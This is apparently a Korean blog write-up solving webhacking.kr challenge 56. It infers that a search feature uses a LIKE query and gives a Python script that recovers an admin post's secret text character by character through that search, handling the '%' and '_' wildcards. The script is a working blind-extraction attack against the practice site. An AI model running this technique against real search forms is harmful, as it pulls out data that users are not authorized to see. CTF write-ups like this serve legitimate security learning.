[webhacking.kr] 56번 문제 풀이[SQL Injection]
💡 Webhacking.kr challenge(old) 56번 문제에 대한 풀이입니다.
문제
search 기능을 이용해서 admin의 게시글 내용을 알아내는 문제입니다.
문제 풀이
게시글 찾기 기능을 사용할때 일반적으로 다음과 같은 sql 문을 통해서 db에서 찾아옵니다.
select * from chall56 where secret like '%{search}%'
몇가지 실험 결과 위의 쿼리문으로 sql문이 구성된 걸로 추정되며, 이를 이용해서 다음과 같이 파이썬 코드로 게시글의 내용을 찾아낼 수 있습니다.
문제를 풀 당시에는 맨 처음 단어가 FLAG일 것으로 추정하고 풀어서 빠르게 풀었지만, 보다 일반적으로 게시글 내용을 추정하기 위해서 하나의 글자에서 시작해서 뒤의 내용을 완성하고, 다시 앞의 내용을 완성하는 방식으로 searching을 진행했습니다.
그리고 주의해야 할 점은, searching을 할때는 ‘%’ 와 ‘_‘의 사용을 주의해야 합니다.
-
’%’ : 모든 임의의 문자열 의미
-
‘_’ : 하나의 임의의 문자열 의미
이때, 각각의 글자가 실제 특수문자의 기능이 아닌 하나의 글자로 동작하는 경우가 있기 때문에 searching의 맨 마지막에는 ‘_‘가 존재하는지도 확인해 줍니다.
import requests
import string
url = 'https://webhacking.kr/challenge/web-33/'
TRUE_FLAG = 'admin'
secret = 'a'
data = {}
exit = 0
# string.printable = '0123456789
# abcdefghijklmnopqrstuvwxyz
# ABCDEFGHIJKLMNOPQRSTUVWXYZ
# !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~'
# '%' 는 삭제하고, '_'는 맨 마지막에 추가
printable_string = string.printable
printable_string = printable_string.replace('%','')
printable_string = printable_string.replace('_','')
printable_string = printable_string + '_'
# a부터 뒷글자들을 먼저 맞춘다.
while exit==0:
for character in printable_string:
data['search'] = secret + character
response = requests.post(url,data=data)
if(TRUE_FLAG in response.text):
secret = data['search']
print('\r[+]',secret,end='')
break
if(character == printable_string[-1]):
exit=1
print("break while loop")
# 앞부분을 채워 넣기
exit = 0
while exit==0:
for character in printable_string:
data['search'] = character + secret
response = requests.post(url,data=data)
if(TRUE_FLAG in response.text):
secret = data['search']
print('\r[+]',secret,end='')
break
if(character == printable_string[-1]):
exit=1
print("break while loop")
print(secret)
코드 실행결과는 다음과 같이 나왔으며, 맨 앞의 \는 제거해 줍니다.
댓글남기기